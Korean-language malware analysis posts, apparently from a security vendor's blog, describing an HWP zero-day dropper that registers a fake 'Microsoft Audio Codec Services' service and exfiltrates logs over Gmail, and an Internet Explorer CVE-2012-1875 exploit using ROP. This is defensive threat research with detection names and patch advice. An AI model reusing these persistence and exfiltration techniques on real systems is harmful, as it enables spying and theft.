C:\WINDOWS\system32\IBMCodecSrv.exe (49,152 바이트)

C:\WINDOWS\system32\c_43911.nls

C:\WINDOWS\system32\abc.bat (39 바이트)


생성된 abc.bat 는 아래와 같은 커맨드 명령으로 동일한 윈도우 시스템 폴더에 tmp.dat를 생성하고 악성코드가 실행된 년도와 날자를 기록하게 된다.


date /t > "C:\WINDOWS\system32\tmp.dat" 


생성된 로그 파일 c_43911.nls은 아래 이미지와 같이 감염된 시스템의 하드웨어 및 운영체제 정보들 그리고 현재 감염된 시스템에서 실행 중인 프로그램들의 프로세스(Process) 정보 모두를 기록하게 된다



그리고 감염된 시스템이 재부팅을 하더라도 악성코드 자신을 다시 실행시키기 위하여 윈도우 레지스트리에 특정 키를 생성하여 생성된 파일 중 하나인 IBMCodecSrv.exe 을 "Microsoft Audio Codec Services"라는 명칭으로 윈도우 서비스로 등록하게 된다.


HKLM\SYSTEM\ControlSet001\Services\Microsoft Audio Codec Services

ImagePath = "C:\WINDOWS\system32\IBMCodecSrv.exe"


생성된 파일들은 각가 다른 역할을 하도록 설계 되어 제작되었으며, 하나의 악성코드만을 분석하여서는 해당 악성코드들이 어떠한 목적을 가지고 설계 및 제작이 되었는지를 파악하기 어렵도록 구성되었다.


최초 YAHOO.dll에 의해 생성되는 파일인 winview.exe와 해당 파일의 복사본인 IBMCodecSrv.exe는 아래 이미지에서와 같이 감염된 시스템의 하드웨어 및 운영체제 정보 수집한다.



그리고 이와 함께 함께 감염된 시스템에서 다음의 웹 브라우저들이 실행되면 해당 프로세스를 모니터링하여 접속하는 웹 사이트 주소들 역시 모두 수집하게 된다.


FireFox

Internet Explorer

Chrome


winview.exe와 해당 파일의 복사본인 IBMCodecSrv.exe는 감염된 시스템에서 웹 사이트 접속 주소, 하드웨어 및 운영체제 정보들을 수집하여 이를 로그 파일인 c_43911.nls에 기록하는 정보 수집 목적으로 제작된 악성코드 이다. 


그리고 YAHOO.dll 파일에 의해 생성되는 다른 c_38901.nls 파일은 아래 이미지에서와 같이 감염된 시스템에서 임의로 구글(Google) 지메일(Gmail)의 사용자 세션을 연결하게 된다. 



연결한 구글 지메일 세션을 이용하여 c_38901.nls는 특정 메일 주소로  winview.exe와 해당 파일의 복사본인 IBMCodecSrv.exe에 의해 감염된 시스템에서 수집된 정보들이 기록된 로그 파일인 c_43911.nls을 전송하는 정보 탈취 목적으로 제작된 악성코드이다.


이 번에 발견된 한글 소프트웨어에 존재하는 알려지지 않은 제로 데이 취약점을 악용한 악성코드 감염 시도는 해당 악성코드가 감염된 시스템으로부터 다양한 정보들을 수집하기 위한 목적으로 제작된 것으로 추정되며, 이러한 정보는 향후 다른 공격을 계획하거나 구상할 경우 유용한 데이터로 활용 될 수 있다.


이 번에 발견된 한글 소프트웨어에 존재하는 알려지지 않은 제로 데이 취약점을 악용한 악성코드들은 V3 제품군에서 모두 다음과 같이 진단한다.


HWP/Exploit

Trojan/Win32.Dllbot

Trojan/Win32.Npkon


APT 전문 대응 솔루션인 트러스와쳐(TrusWatcher)에 포함된 DICA(Dynamic Intelligent Content Analysis)에 의해 시그니처 없이 아래와 같이 탐지가 가능하다.


Exploit/HWP.AccessViolation-DE


향후 출시 예정인 V3 인터넷 시큐리티(Internet Security) 9.0 에 포함된 ASD 2.0의 MDP 엔진에서도 시그니처 없이 다음과 같이 탐지가 가능하다.


Dropper/MDP.Document(57)


현재 해당 악성코드에서 사용한 취약점은 앞서 언급한 바와 같이 한글과 컴퓨터에서 보안 패치가 제공되지 않는 제로데이 취약점이다.


그러므로 메일이나 웹 사이트 등으로부터 전달 받게된 출처가 불명확한 한글 파일을 실행하는 경우에는 각별한 주의가 필요하다.

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마이크로소프트에서는 한국 시각으로 6월 13일 해당 업체에서 개발한 소프트웨어에 존재하는 보안 취약점들을 제거하기 위한 보안 패치를 배포하였다. 


이와 동시에 보안 업체인 맥아피(McAfee)에서는 마이크로소프트가 배포한 보안 패치 "Microsoft Security Bulletin MS12-037 - Internet Explorer 누적 보안 업데이트 (2699988)"에 포함된 CVE-2012-1875 취약점을 악용하는 공격이 실제 발생하고 있음을 블로그 "Active Zero-Day Exploit Targets Internet Explorer Flaw"를 통해 공개하였다.


ASEC에서는 추가적인 조사를 통해 해당 CVE-2012-1875 취약점을 악용하는 악성코드는 아래 이미지와 동일한 스크립트 형태의 악성코드 임을 확인하였으며, 최초 유포는 홍콩에 위치한 특정 시스템을 통해 진행 되었다.


홍콩에 위치한 해당 시스템에서는 서로 다른 쉘코드(Shellcode)를 가진 스크립트 악성코드가 동시에 유포되었다.



해당 CVE-2012-1875 취약점은 인터넷 익스플로러가 삭제된 개체에 액세스하는 방식의 오류로 인해 메모리가 손상되어 임의 코드를 실행할 수 있는 코드 실행 취약점이다.


그리고 해당 스크립트 악성코드는  ROP(Return-Oriented Programming) 기법을 이용하여 윈도우 시스템에 포함되어 있는 메모리 보호 기능인 DEP(Data Execution Prevention) ASLR(Address Space Layout Randomization)를 우회 할 수 있도록 제작되었다.


해당 스크립트 악성코드가 정상적으로 실행 될 경우에는 스크립트에 포함되어 있는 쉘코드에 따라 이탈리아에 위치한 특정 시스템 또는 홍콩에 위치한 스크립트 악성코드를 유포한 동일한 시스템에서 다른 백도어 악성코드들을 다운로드하게 된다.


이탈리아에 위치한 시스템과 홍콩에 위치한 시스템에서 다운로드 되는 악성코드들은 감염된 시스템에서 프록시(Proxy) 기능과 함께 하드웨어 정보 등 시스템 사용과 관련된 정보들을 수집하여 홍콩에 위치한 다른 시스템으로 전송하게 된다.


이 번 CVE-2012-1875 취약점을 악용한 악성코드들 모두 V3 제품군에서 다음과 같이 진단한다.


HTML/CVE-2012-1875

Win-Trojan/Injector.47104.BR 

Dropper/Agent.81920.DX 

Win-Trojan/Infostealer.35328.C  


현재 마이크로소프트에서는 이번 악성코드 유포에 악용된 CVE-2012-1875 취약점을 제거하기 위한 보안 패치 MS12-037를 배포 중에 있음으로, 해당 취약점으로 인한 악성코드 감염을 근본적으로 차단하기 위해서는 해당 보안 패치를 설치하여야만 한다.

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